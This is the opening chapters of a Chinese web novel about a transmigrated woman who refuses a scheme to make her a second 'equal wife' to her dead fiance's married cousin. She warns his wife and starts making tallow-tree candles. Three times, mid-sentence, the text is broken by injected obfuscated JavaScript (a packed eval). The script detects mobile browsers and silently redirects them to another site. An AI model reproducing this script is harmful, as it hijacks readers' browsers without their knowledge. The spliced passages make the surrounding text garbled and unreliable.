《男主想兼祧两房》 1. 第一章 退亲与议亲 泰熙十七年秋,时值九月,天色寂寥,伴随着寂寥天色,高平县有一场丧事,陆家二房的独子出门做生意时不慎落崖,人摔死了。 白发人送黑发人,尤其家里一根独苗,实在可怜可悲。 “我瞧见陈娘子头发一夜之间白了不少。” “那可不,就那么一个儿子,才十九就没了,心里能好受吗。” “你们说……”刚说话的人看看四处,面上一副欲言又止的样子。 “咋?” “你们说会不会是祝家娘子克的,还没进门呢,就把人克死了,以后她的亲事可犯愁。” “那也比嫁过去人突然没了守活寡强,我看陈娘子带着人去陆家了,约莫是退亲去了,哎,这人呐,得信命。” 城南祝家。 祝父在屋里来回踱步,祝家四间房,院子不大,搭了两间棚子,堆满了东西。院子里还挂着衣物,家中日子说得过去,比不上陆家富庶,可也能吃饱穿暖。 这顶好的亲事没了,祝父心里忧心,祝母林氏看了眼望着窗外正出神的女儿,在心里重重叹了口气,转又和缓颜色,说道:“棠英,这两日陆家怕是来退亲,人走了,亲事做不成,退了也好,等两年风头过了,再给你议亲就是。” 祝家大嫂李氏点点头,“就是。” 祝棠英回过神来,她相貌美艳,就如名字一般,只不过此刻眉目透着愁绪,她该如何告诉这家人,陆家虽然会过来,可这回过来不是为了退亲,而是再议亲呢? 按理说没人能未卜先知,谁让祝棠英是穿来的呢,她从前是个小有名气的手工博主,在网上看见一本男频小说里面有不少制物法子,她就看了,谁知后面出了车祸,穿进这本叫《兼祧》中,还成了里面的女配角。 原身十七岁,幼时和陆家二房陆云朝定了亲,陆家在县城算有脸面的人家,二房做点小生意,比之祝家能算富庶。 但天有不测风云,陆云朝做生意的时候不甚落崖,人死透了,这几日陆家一直操持他的丧事。 两人尚未成婚,虽有婚约在身,但只要退亲再议就是了,可这本小说讲的就是男主兼祧两房的故事,书里男主就是陆云朝的堂兄。 盖因陆家二房就陆云朝一个独子,古人注重香火传承,陆云朝的母亲陈氏就想了这么个法子,让大房的陆云程兼祧两房,替二房传承香火。 陆云程和女主成亲六年有余,两人有一个女儿,自然,若是没成亲也难算兼祧两房了,这等奇事……书里原身竟真的嫁过去了。 兼祧两房便是娶两房媳妇,都按平妻算,一个住大房,一个在二房,书里陆云程一三五去这边,二四六去那边,两边为他生儿育女,两房支撑他科考中第,不仅如此,原身常和女主争风吃醋,女主性子柔软,十多年来受尽委屈,但还任劳任怨孝敬公婆相夫教子打理家事,处处忍让希望家中和睦。 这一忍就是许多年,多年以后男主做了大官,见原身还是那个性子,终于忍受不了把她送回老家,陆云程念在原身生的儿子还算争气的份上,留了她性命,贬妻为妾。 故事到这里就要结束了,男主和女主解开误会,男主称赞女主良善,懂得她辛苦操持,最后和和美美,他兼祧两房的事迹最终传成了一道佳话。 祝棠英当时看这书没过脑子,毕竟男频小说大部分笔墨在男主科举家里做生意上,陆云程平步青云,看得很爽。 陆云程偶尔回家面对一地鸡毛,但最后结果都是女主退一步。 祝棠英只觉得女主包子,男主为难,女配作天作地,可真穿进来,仔细想一想,那不是在说男主有两个老婆给他生孩子,两个媳妇照顾爹娘操持家里,他读书科考无后顾之忧,最后妻儿俱在,功名也有。 男主想要,男主得到?女主女配得到了什么? 祝棠英是疯了才会嫁一个有妇之夫,哪怕陆云程日后位高权重。也许没了她,男女主没了争吵,根本不用等到大结局就和好了。 祝棠英想,只要她咬死不嫁,祝父祝母看起来还算疼女儿,这事就成不了。 就这么想着,院外响起敲门声,紧接着是一道高呼,“祝家嫂子,祝大哥?你们可在家中?” 祝棠英抬眸透过窗子望去,门口进来好些人,足足七八个,本就堆满杂物的院子顿时显得逼仄不堪。 这些人她未曾见过,只觉得眼生,走在前头的那个,体态丰腴,衣着打扮也妥当。后头的妇人头簪花,衣着花里胡哨,陆家有丧事,这个大约不是陆家人。 另一个妇人身材匀称,倒看不出神色,还有几人年纪不小,最显眼的是走在最后头的那个,身量高,一身蓝衣,眉眼俊秀一身书生气。 陆家来人,这个年岁的,难道是陆云程? 几个男人手里提着东西,直接放在院中。祝母林氏起身,祝父也向前相迎,“陈大嫂,陆大哥,你们来了,先进屋坐吧。” 陆云朝死了,祝家也去吊唁了,有道是人死不能复生,亲事铁定要退,只不过陆家忙着办丧事,那个时候祝家上门不妥当,这也不急在一时,就拖到了今日。 祝父请人进屋坐,李氏忙搬凳子,祝棠英站到了祝母林氏身后。 祝父没开口,就等陈氏和陆二爷提退亲的事。 林氏:“棠英,你去倒茶来。” 陈氏看了祝棠英一眼,忙道:“不必,棠英坐下吧,这几日实在棠英委屈了,这事说到底是我陆家对不住你,你说云朝那孩子怎么就不知道当心些,明知有婚约在身,我和他爹就这一个儿子,却还是……” 说着说着,陈氏就开始掉眼泪,她眼睛本就红,现在更红肿,让人看了于心不忍。 林氏在心中叹气,祝棠英没有说话,她也才来这儿,初来乍到多说多错。 旁边那个身材匀称的妇人说道:“弟妹,人死不能复生,你也别太伤心了,总得往前看。” 林氏道:“是啊,日后若有用得着祝家的地方,说就是。” 陈氏闻言拿出帕子擦擦眼泪,她看了看祝母,又看了眼祝棠英,“只是可怜了棠英,还被流言所累,想当初两家交好,才订下婚约,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921554|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八年来,我看着棠英长大,也是真心喜爱这孩子,可惜有缘无份了。” 祝棠英不仅想到书里说祝家家世普通,而陆家在高平县是有脸面的人家。 长房的陆云程功课好,如今已有秀才功名。二房的陆云朝做着生意,还有三房几个弟弟,劲儿往一处使,在外人看可谓鼎盛。 婚约是数年前定下的,这数年来陆家越来越富庶,两家差距也越来越大,陈氏说这个,话里话外在说陆家仁义,当初没有退婚。 祝棠英心里发冷,书里具体内容她记不清了,但今日陈氏过来,是为了议亲而非退亲。 林氏心有不忍,她道:“两家情分还在,日后棠英勤走动着。” 陈氏捏着帕子,“哎,陆家对不住棠英,今儿过来,我还闻见路上有人说棠英命不好,克夫……这几日我经常恍惚,昨晚做梦还梦见云朝了,他让我好好顾着棠英,可这到底是牵累了她。我还算了算,棠英今年十七了,等这风头过去,再等两年那也十九了。” 一旁是媒人刘婆子,她赶忙把这话接过说道:“林娘子,这姑娘就像外头开的花,越年轻越娇艳,这几日我也听着了,外头总有人传闲话,真是丧良心。可话又说回来,我们知道这是屁话,可外头人传来传去的总归不好听。这亲事若是退了,棠英再嫁总得两年后,可谁也说不准两年后是什么光景,若是还有人记得这事,再找能找啥样的。那要是再等个两年,那可真就耽搁成老姑娘了。” 林氏这几日也有出门,自然听到了这些风言风语。她只觉得是荒谬,若真克夫,那岂不是当初刚定下婚约时,陆云朝就出事,怎会等到现在?她看着陆家这一群人,今日刘媒婆来了,陆家大房也在,原以为今儿他们是来退亲的,可是陆云程也在。 林氏心中疑惑,心里突突的,她道:“云朝刚走,棠英的事不急。” 刘媒婆哎了一声道:“妹子,无论如何都得为棠英考虑呀,我这有个主意,你看云程,功课好,又一表人才的。要我说就让云程兼祧两房,各房过各房的日子,互不打扰,其他的还该咋算咋算。这样棠英也不耽搁,他们老两口也有个念想。” 一边说着刘婆子一边拽着陆云程的手臂把他扯到前面来,陆云程在陈氏面前站定,“伯母,祝姑娘。” 他温和有礼仪表堂堂,祝棠英早就猜他是男主,果然。 作为男主,陆云程风度翩翩,一表人才,今日着了身蓝衫,更显俊逸俊雅。 他有副好皮相,在书里,女二常跟女主争风吃醋。 可再怎么说,陆云程也是有妇之夫,祝棠英刚想拒绝,陈氏似乎要猜到她想说什么,忙道:“这事也不急,你们好好想想,若亲事还继续做,那聘礼照原来三倍给,我和他爹没什么指望,这么做也是想给棠英找条出路。云程这孩子不错,如今已是秀才,日后前程不可限量,断不会亏待了棠英。” 祝父没说话,祝母眼中带着犹疑,祝家大嫂低下了头,祝棠英见几人都不说话,她道:“可据我所知,陆公子六年前就已娶妻,此事郑娘子可知?” 2. 第二章 别要了 陆云程脸色微变,他母亲赵氏微皱着眉,郑氏那儿自然没说呢,总得劝了祝棠英再和郑桂如说这事,不然这边鸭子飞了,那头陆云程还和郑桂如伤了情分,不能两头不讨好呀。 赵氏道:“祝小娘子,此事只要你点头,就不必担忧别的。” 陆云程神色一顿,祝棠英震惊得不知说什么好,众人又寒暄几句,陆家人就告了辞,林氏心事重重地把人送出门,等她进屋,祝棠英咬牙道:“此事我不愿意,人没了,亲事退了就成,还嫁过去算什么?” 祝家大嫂李氏眼珠子转转却没说话,祝父皱着眉,半晌,他道:“棠英,其实陆家说的倒也是个不错的主意。” 祝棠英:“爹!” 李氏笑着帮腔道:“是呀,外头都传你克夫,你想想你今年都十七了,再等两年,上哪儿说这么好的亲事。而且家里就这么大的地方,又不够住,你别嫌嫂子说话难听,这女子总得出嫁吧,耽误来耽误去,耽误的还不是你的终身大事。要我看陆云程很不错了,有秀才功名,一大家子供着他读书,日后不得当个举人。 再说,人家又不是让你嫁过去做小,平妻互不打扰,你去二房,大房那头的郑娘子你就当没这个人呗,日后陆云程高中,以后有享不尽的福气。而且陆云程你也见了,长得多俊,咋都是好处,有啥可不愿意的?人家诚意也足,彩礼照原来的三倍给,二房还做生意,嫁进去这些可都是你的。” 李氏越说越觉得这事行得通,隐隐还觉得峰回路转,便捂着唇笑道:“老天对待我们棠英不薄呢,那句话咋说的来着,丢了一匹马,不知是不是福气,我看是好事儿!” 祝棠英道:“好事儿?是好事怎么不见你求着嫁过去。陆云程和他娘子成婚六载,陆家又不是没别的兄弟,儿子没了大可过继,这种事陆云程不仅愿意还瞒着他娘子,算得上什么好人?真嫁过去,我哪有好日子过。要是好事,早有人扒着抢着,还至于翻三倍彩礼给我留着?” 林氏没说话,她一边觉得祝棠英说得有理,可一边又发愁,真怕这风头过了,祝棠英嫁不出去。 女儿婚事耽误了,后头孙儿孙女婚事也不好说。可现在有个现成的陆云程,还是陆家人,只要点头照样嫁。 祝棠英见祝母神色踟蹰,急得跺脚,“这怎能嫁!” 林氏叹了口气,好在陆家还算有礼,没急着要答复,只是说让他们好好想一想。 林氏:“这事后头再说吧,你嫂子也是为了你好。” 李氏哼了一声,“就是,我不也是为了棠英,娘,你就该应下,父母之命媒妁之言……” 祝棠英闻此言刚要反驳,林氏就道:“好了好了,这事慢慢想想,有好处自然也有坏处,你们先都回去。” 祝家宅院小,祝棠英上头一个哥哥,下面一双弟妹,家里都是挤着睡的,回也是在祝家这一方天地。 幼妹年纪小,还不知发生了什么,自顾自高兴地在屋里玩,天光明媚,可窗子小照不进来。 祝棠英原以为祝家对原身不错,不会逼着自己嫁过去,可现在看祝父和祝家大嫂只想她早点嫁出去给家里腾地方,至于嫁给谁以后日子如何,他们并不关心,甚至还希望陆云程高中之后能帮扶祝家一点。 祝棠英深吸一口气,这个时代,若真给她绑到陆家成婚也不是不可能,那该怎么办?她不能坐以待毙。 还未到正午,外面阳光依旧明媚。 祝棠英想去见郑桂如一面。 郑桂如就是陆云程的妻子,书里的女主。如今看来,郑桂如还不知陆家的打算。虽说书里最后的结果是陆云程兼祧两房,可是郑桂如不知,在书里日子也不痛快。若知道此事,有这么多年夫妻情分在,陆云程却瞒着她,定然不愿。 等家中吃过午饭,祝棠英就出门了。高平县不算大,陆家离祝家并不远,几房就住在城东一座三进宅院中。 祝棠英不能堂而皇之进去找人,估计这个时候陆家人也不愿意她见郑桂如。 她记得书里提过,郑桂如有一手好绣功,在几年前陆家还未发迹的时候,郑桂如就靠做绣活赚钱让陆云程读书。时间长了,便养成习惯,后来原身进门郑桂如受欺负少月例银子,也会隔几日就出来卖绣品。 祝棠英想碰碰运气,告诉郑桂如陆家想要做什么,再言明自己不会嫁,郑桂如再闹闹,估计这事成不了。 祝棠英在城东巷子处藏着,注意着四周来人。她没见过郑桂如,但是书中有过描写,还有一则书评楼盖得很高,说娶妻当娶郑桂如,纳妾当纳祝棠英。下面诸多讨论,说祝棠英容貌美艳,但性子爱作得理不饶人,当妻子不合适,上不得台面,做个妾室解解闷最好。 而郑桂如虽然容貌温婉,性子柔和,哪怕受了委屈,也不给陆云程添乱,还能把家里打理得井井有条,让陆云程无后顾之忧,宜室宜家,是做妻子的不二人选。 祝棠英想起这些话忍不住心中冷笑,他们还挑上了。 等了有两刻钟,祝棠英才看见巷子里走出来一个和书中描述相似的人。那女子梳着妇人发髻,身姿苗条,穿着淡蓝色的长裙,头上两根银钗子。 鹅蛋脸,眼睛不是特别大,眉毛弯弯,笑起来时如春风拂面,让人心生好感。 祝棠英定了定神,然后跟了十几步,这才走上前去,拍拍她肩膀问道:“郑娘子?” 郑桂如回过头,眼中闪过一丝笑意,她道:“棠英!” 大约是想到陆云朝,郑桂如脸上的笑意很快消失不见,她眼中透着丝担忧,“棠英,你怎么来了,寻我可是有事?” 祝棠英点了下头,“郑娘子,可否找个安静的地方说话?” 郑桂如没有犹豫,二人在县城找了间茶楼,进去祝棠英点了壶茶,便把门窗都关上。 郑桂如问:“究竟是怎么了,发生了什么事?” 祝棠英看郑桂如面含关心,不禁觉得作者笔下的世界荒诞,她看见的郑桂如温婉漂亮,看着自己的目光一直是关切的,整个人散发着善意,可是陆家呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921555|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她有些不忍心,可又不想郑桂如被蒙骗,便委婉问道:“上午陆家人来我家了,郑娘子可知?” 郑桂如自然知道,陆云朝不在了,他们两人之间还有婚约,亲事肯定是要退掉的,今儿过去也是为了这事。 她握住祝棠英的手,劝道:“棠英,世事无常。” 陆云朝年轻有为,祝棠英漂亮得不像话,二人多么般配,若是陆云朝还在,她们会住在陆家,只是可惜了。 “人死不能复生,棠英,你得好好活着,把日子过下去才是,外面的话不要理,也不要听,更不要信。” 祝棠英心里有些急,她道:“今日来的,不仅有祝伯父陈娘子,还有你公婆、夫婿陆云程。” 郑桂如轻轻点了下头,都是一家人,这么大的事该去帮忙的,就是她没帮上什么忙,“棠英,若有用得到我的地方,但说无妨。” 她也想尽一份心力。 祝棠英深吸口气,再也忍不住道:“郑娘子,他们是想要陆云程兼祧两房,娶了我,让我给二房传宗接代!” 祝棠英感觉握着自己的手僵硬了一瞬,郑桂如的神色也呆滞住,像是被人打了一拳,祝棠英看着她慢慢变红的眼睛,“祝娘子,我问了,他们说此事你不知,还说只要我肯点头,怎么都会想办法让你答应。我不想嫁,这个你大可放心。” 祝棠英以为这话能让郑桂如安心,可岂是那么简单的事? 对郑桂如来说,祝棠英是不愿意嫁,可是陆云程是想娶的,不然作何瞒着她去祝家?兼祧两房……这事,陆云程从未和她商量过,公婆也未曾提过,那是何时动的心思? 二人成婚六载,六年的夫妻情分,如果陆云程觉得二房没了儿子可怜,想帮二房,大可以和她商量,可是陆云程什么都没说。 今早她问,陆云程也只是说是为了退亲,回来之后半句未提上午发生了什么。 豆大的泪珠从郑桂如眼角滑下,祝棠英手忙脚乱地找帕子给她擦眼泪。 郑桂如哭了好一会儿,她说不出话,一直低声啜泣,眼泪跟断了线的珠子似的,她怀疑过这是假话,可祝棠英何故说这种话骗她。 那只能是真的了。 祝棠英原本还害怕郑桂如怪自己,好在没有。 看她哭的样子,祝棠英心里怀疑把这事告诉她究竟是好是坏。 看着郑桂如,又想起书中她受着委屈哭了无数次,却还为陆家操持打点,陆云程读书时都是她照顾公婆养育孩子。郑桂如嫁来时,陆家还未像如今一样,她做绣活卖钱,如今还做。 后面年纪不大,却添了心悸等毛病,眼睛也哭坏了。 什么娶妻当娶郑桂如,纵然日后陆云程高中,身居高位,郑桂如哪过过什么快活日子。 原身呢,也是惨得不成样子,守着有妇之夫,跟人争风吃醋,争陆云程,争妻子的位置,最后什么都没得到。 祝棠英心里的话脱口而出,“郑娘子,要不然这样的男人你别要了。” 3. 第三章 劝说 郑桂如脸上还挂着泪珠,她疑惑地嗯了一声,然后慢慢把手从祝棠英手中抽了回去,她整个人紧绷绷的,不解问道:“祝姑娘,你这是何意?” 祝棠英直言:“我的意思便是——既然他们无情无义,连这种事要瞒着你,那你何必在这里为他伤心难过。你哭这一次还不够,难道日后还要没日没夜地哭,你想把这辈子的眼泪都流干吗?就为了陆云程?” 郑桂如没有说话,她目光微微闪烁,低下头不再看祝棠英。 有道是防人之心不可无,她和陆云程成婚多年,陆云程是她枕边人,和祝棠英不过见过几次,能坐在一块儿说话是因为祝棠英是陆云朝的未婚妻。 或许她是好心,可郑桂如心里并不感激,反而疑惑。祝棠英现在没了婚事,说句难听的,若是祝棠英有别的心思,故意和她这样说,让她疑心陆云程,夫妻离心,最后便宜的是旁人,那当如何是好? 成婚六载,多年夫妻情分,怎能只听别人的只言片语就信了,她了解陆云程,不会做这样的事,就算真有此事,难道一句轻飘飘不要了就行吗。 他们还有兰姐儿,无论是她还是陆云程,都不可能说不要就不要。 郑桂如拂开祝棠英的手,面上透着防备,“祝姑娘,你尚年轻,日后选择良多,的确不必嫁与有妇之夫。可我不同,兰姐儿年幼,离了陆家,我又能去哪儿呢?今日多谢你告知我这些,如果你是好意,那我心领了。如无别的事,就此告辞。” 郑桂如微微点头,便要起身。 祝棠英愣了愣,郑桂如是觉得她故意为之,搞乱了她的婚事好自己嫁给陆云程去?这从何说起! 不过想想也对,二人也不熟识,她口说无凭,郑桂如不信没关系,可是既知前面是火坑,她又怎心忍心看着郑桂如往火坑里跳? 就算没有她,二房的事一日不解决,那陆云程日后就还会娶别人,赵棠英李棠英……那郑桂如不还是得以泪洗面受尽委屈,为陆家奉献一生就为了保住陆云程妻子的位子。 如果陆云程值得也就罢了,可书里哪次不是郑桂如退让?陆云程真的看不见吗,朝堂上断案不是很明察秋毫吗? 很快,郑桂如就到了门口,手也搭在了门上。 祝棠英起身道:“郑娘子,你别急着走,不如跟我打个赌。” 郑桂如神色已经冷静下来,她疑惑问道:“赌?” 祝棠英点了点头,“就赌你在陆公子心中的份量,比不比得过二房和陆家在他心里的重量。我一个外人,未知全貌,自然不如你了解陆公子。若你在陆公子心中的份量更重,我为今日莽撞向你道歉,否则,你听我的离开陆家。” 郑桂如眉头紧锁,“祝姑娘!” 祝棠英激道:“还是你愿意就这么眼盲心盲跟陆云程过一辈子,你有女儿的,你难道愿意她有样学样,日后也如此?” 郑桂如嘴唇动了动,她就这么回家了,连布庄都没去。回去路上,她脑子里一直回荡着祝棠英说的那些话。 那些话刻在她脑子里,就像阵阵鼓声,振聋发聩。 回到家中,郑桂如回了长房住的一进院中,陆家三房住在一处,不过各院相隔,各房住各房的院子。几代同堂,很是热闹。 陆云程下午本在书房温书,从兰姐儿呼喊中知郑桂如回来了,就从书房出来了,他温声问:“怎么去了这么一会儿就回来了?” 郑桂如抱着兰姐儿,她眼尾还有些红,硬扯出一抹笑道:“出去的时候被风迷了眼睛,这也不打紧,想着明儿再去。对了,今日你们去祝家可还顺利?棠英……她还好吗?” 陆云程顿了顿,说道:“祝家倒还不错,不过过几日得再去一趟,到时再说退亲的事吧。她也是可怜,二弟不在了,她一个女子被流言蜚语所扰,日后亲事恐怕难说。” 女子嫁人是大事,嫁人艰难的确可怜,郑桂如听完点了下头。 陆云程看着她的神色,眼中微不可查地闪过一丝愧疚,他慢慢启唇道:“二叔和二婶这几日郁郁寡欢,我同二弟一同长大,这两日,你多劝慰二婶。” 郑桂如心里发冷,就像是有人在捏着她的心,慢慢攥起来,让她喘不上气来。 她把兰姐儿放下来,让她跟屋里丫鬟玩儿,然后轻声问陆云程,“劝慰只能解一时之苦,总得想想日后该怎么办,二房就云朝一个孩子,可要从族中过继一个。” 陆云程摇了摇头,“这怕是行不通,你想,叔父和二婶年纪也不小了,族中的孩子小的不好养,大的几岁十几岁,又养不熟。” 这话倒是没说错,陆家旁支的几个亲戚家世都不如陆家,二房做着生意,若是过继日后没准生出异心。谁乐意一辈子的心血被旁人占了呢,所以他们就想出兼祧两房的法子? 那谁乐意自己的夫君娶别人,还是以平妻之礼娶。 还有个法子是从三房过继,且不说三娘子现在舍不舍得,住在一处看着自己的孩子喊别人爹娘,日久天长恐生出仇怨。 二人正说着话,陆云程母亲赵氏过来,她幽幽叹了口气,道:“过继是个法子,就怕最后便宜了外人。三房那头孩子年纪也小,云程是做大哥的,你是他的妻子,这会儿该做些事的。桂如,你向来懂事,我是一直知晓的。云程现在要读书,又要操心这些,我看笔墨该买了,哪里用不到银子,云程读书你二叔二婶出了不少力,万事都得为云程考虑。” 赵氏说了许多的话,话里话外的意思就是郑桂如是陆云程的妻子,陆家的长媳,心里要想着陆云程,想着陆家。 对赵氏来说,二房出事,陆家少了个能干的人,可是对她来说也是机会。二房做着生意,能赚钱,家底丰厚。 而陆云程读书最需要银子。 从前二房也会送银子来,但有陆云朝在,大头都是二房留着。现在陆云朝不在了,这钱总不能便宜外人吧。 赵氏觉得兼祧两房这个主意好,虽然祝棠英生下的孩子在族谱上记的是二房的子嗣,可也是陆云程的血脉,一笔写不出两个陆字,陆云程好了,孩子才能好,孩子小呢,二房必定竭尽全力支持陆云程读书,郑桂如可不能在这种时候犯糊涂。 赵氏说这些为了敲打敲打她,别最后祝棠英那边定下来了,郑桂如却死活不愿。 不过想想郑桂如不愿又能怎么样呢,她能去哪儿?她娘家没人,这么多年就生了一个女儿。 想到这儿,赵氏又道:“桂如,陆家待你可不薄,云程就兰姐儿一个闺女,你好歹多生几个,以前我可没催过你,要搁别人家,早就休妻了。” 郑桂如的心就像落到水里的石头,一点一点沉了下去。 本来她是不太信祝棠英说的,可这等情况由不得她不信。她感觉嘴里阵阵发苦,不禁看向陆云程。 陆云程不耐道:“娘,我们夫妇二人年轻,如今有兰姐儿一个就已知足。好了,我还要读书,你们在外面不要吵闹。” 赵氏嗯了一声回屋了,郑桂如鼻子有些酸,幸好刚在茶楼哭过,这会儿能忍住泪意。 兰姐儿在院子玩闹,郑桂如不禁想到祝棠英说的,女儿该怎么办,也要和她一样? 他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921556|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑明,她就当不知道,等他们挑明的时候,她又被迫接受。女儿见了,日后会不会也受委屈。 陆云程要读书,丫鬟带着兰姐儿去远一些的地方玩。 郑桂如甚至想直接去书房问陆云程上午去祝家做了什么,可是她又怕挑明了自己承受不住。 郑桂如胆战心惊地熬过一个下午一个晚上,希望这些事没有发生,可是陆家却不给这个机会。 三日后,陆家众人又携重礼登门了,给足了祝家面子。 陈氏倒是想过晾晾祝棠英,等祝家等不及了再说婚事,可眼下更着急的俨然是陆家,陆云朝死了,若非有婚约在,其他人哪里会愿意嫁过来。陆云程前头有个正房娘子,再嫁过来,虽是平妻之名,可先来后到,总会有点说法的。 趁热打铁许些好处,早点把祝棠英娶进门才是正事。 祝棠英相貌漂亮,日后有没有好亲事还真不好说,不如赶紧把亲事给定下来,早点生下孩子,二人的孩子铁定漂亮,看着孙儿,陈氏心里也能好受点。 祝家对此事渐渐有了眉目。 祝父想了几日,还是觉得行得通,再有祝家大嫂李氏一直添油加醋给陆家说好话,几人未经祝棠英的同意,就把事定下来了。 祝棠英自是不愿,可林氏日日劝说,晓之以情动之以理,“棠英,若陆公子是个不学无术相貌丑陋的,娘也不会劝你,可你看到了,他相貌俊逸,才华在县城也是数一数二。成婚多年,也没个妾室,就证明他重情义,是不可多得的良人。你想想,二房做生意银子多,你嫁过去也是当二房的家作二房的主。郑娘子那……就当没这个人就是。 唉,娘劝你也是为了你好,再等两年,有像样的亲事还好,若没有呢?既然眼前有个不错的,何必再赌两年后。若真耽误了你的婚事,你叫娘心里怎么能安稳?” 林氏满目愁绪,温声细语地给祝棠英分析利弊,“再有你从前喜欢云朝这孩子,陆公子和云朝也有几分相像,日子嘛,都是稀里糊涂地过。万一日后嫁一个待你不好的,你只会后悔如今没早点答应。到时候后悔可就晚了……” 稀里糊涂? 祝棠英不想稀里糊涂地过,她笑了笑,“等陆家再来人看看吧。” 林氏看她松动终于松了口气,“棠英,我和你爹也是为你好。” 祝棠英笑了一下,她若说不愿,林氏只会一直劝,倒不如先假意答应,况且她和郑桂如还有赌约。 上午陆家来人,带了不少东西,李氏看这些东西笑得合不拢嘴,祝父眼中也闪过满意。 陈氏诚意满满,“你们且放心,日后,我就将棠英当自己亲生女儿疼爱。” 这话不像假话,祝家也没有怀疑,毕竟陆云朝死了,陆云程又要忙着考试,两人能依靠的只有祝棠英。 祝父刚要说话,祝棠英抢在他前面开口,“陆家的诚意我已经看到了,这亲事做成,对两家都好,这些道理我都明白。” 陈氏笑着点点头,“我就知道你是个懂事的好孩子。” 陆云程姿态也放松起来,紧接着祝棠英又道:“可是凡事都讲先来后到,兼祧两房说两边都是平妻,但是外人看来却是郑娘子先进门,我若再嫁,倒像是见不得人的妾室。我一个清清白白的姑娘,总不能嫁进你家做小。既然你们说了都一样,那我就要当前面那个,否则,我不会答应这门亲事的。” 陈氏无奈,“这也无法呀,那桂如先进门,这上头只能委屈你。” 祝棠英:“我这人受不了委屈,先把她休了,等我进门再娶,这不一样吗。” 4. 第四章 和离与休妻 这些话,祝棠英在祝家的时候未曾和林氏祝父几人说过,故而不仅陆家没反应过来,祝父几人也愣住了。 不过细想之下,此事对祝家有利,几人闻言便没说什么。 陈氏有些为难,他们一直以来都是瞒着郑桂如的,倘若直接娶了祝棠英,跟郑桂如说明利害,想来郑桂如不会说什么。 可照祝棠英所说,后头不管是和离还是把郑桂如休了,再接回来,传出去都不好听,好好的正妻最后弄得跟妾室似的,郑桂如未见得会答应。 况且陈氏只是婶娘,这她怎么可能作得了主? 祝父道:“我女儿十七岁,容貌品性没得说,若是陆家不出事,那嫁过去是要做正房娘子的,偏偏陆家出事。如今我也是记挂着两家情分,才乐意答应这门婚事。可是不管谁先嫁过去,总归要二女共侍一夫,本就委屈她了,所以这上头,我们不想再委屈她,大不了再等两年。” 祝棠英听祝父说这些,这会儿看着他倒像个慈父,可实际上是为了讨价还价。 总共两个女人,若不委屈祝棠英,那就只能委屈郑桂如了。 陈氏看了眼陆云程和赵氏,二人没说话,都沉思着不知在想什么。 祝棠英气定神闲道:“是,反正此事也不急,你们可以回去好好考虑考虑。” 等陆家人走后,李氏道:“棠英是个聪明的,你这几日还不愿不愿的,原来自己心里早就有主意了,你说你,咋不通个气,这样咱们还能合计合计,就算不能先嫁过去,还能多要点东西呢。” 祝棠英皮笑肉不笑地扯扯嘴角,“陆家不答应,我就不嫁,先回屋了。” 回屋之后,祝棠英打发幼妹出去玩,自己则沿床趴下,把一个盆子从床底下拽出来。 盆子不小,里面有东西,上面是一层凝固了的白色蜡液。 这是祝棠英昨日做的,晾了一晚上,如今正值秋日,高平县种着乌桕树,下头村子里也有。 乌桕子能入药,县城有人收,故这个时节,村子里人人摘乌桕子来卖。她还知道乌桕子外有层果实,里面混着油脂和蜡,所以收了十几斤乌桕子,用家里的破盆子,先拿三斤试水,就在屋里的炭炉子上把乌桕子煮软,然后一点一点用石臼把果实研磨下来。 研磨好后再加水煮,蜡质和油脂溶在一块儿,煮化后用纱布把杂质过滤掉,再熬干水分,晾了一晚,就成现在的模样了。 祝棠英把最上层的蜡取来,蜡皮洁白细滑,不过这只是蜡,算不得蜡烛。 祝棠英把准备好的小竹筒找来,总共六根,上头以木刺悬挂棉线,然后把蜡块融化,慢慢灌进竹筒里。 竹筒细小,也没个漏斗,祝棠英做这时谨小慎微,生怕漏到外面去,终于灌好,她松了口气,又把这几个竹筒藏于床下。 还剩下研磨掉果肉的乌桕子,这个对祝棠英来说也有用,乌桕子含油量很高,能和果实中的皮油做各种东西,但是现在祝棠英有一样就够用,所以就把这些装好放床底,等以后再用。 她做这些一是为了自己,倘若陆家不愿意,她一时半会儿不会成亲,总得谋点生路。 她打听过,一支普通的蜡烛要三十文,这个价钱寻常人家还用不起,祝家就是用油灯,不过蜡烛虽贵,可是本钱却便宜,收一斤乌桕子才三文,做蜡烛能做两只。 她做好后能卖给杂货铺,便宜卖,哪怕便宜五文十文自己都有得赚。 如今祝棠英没本钱,买乌桕子用的还是原身存的铜板,等后头大可往里面加别的东西改善性能,这是个赚钱的法子,能攒够本钱做别的。 若陆家点头,就只能在郑桂如身上想法子,和离或是休妻,陆云程必须二选一。 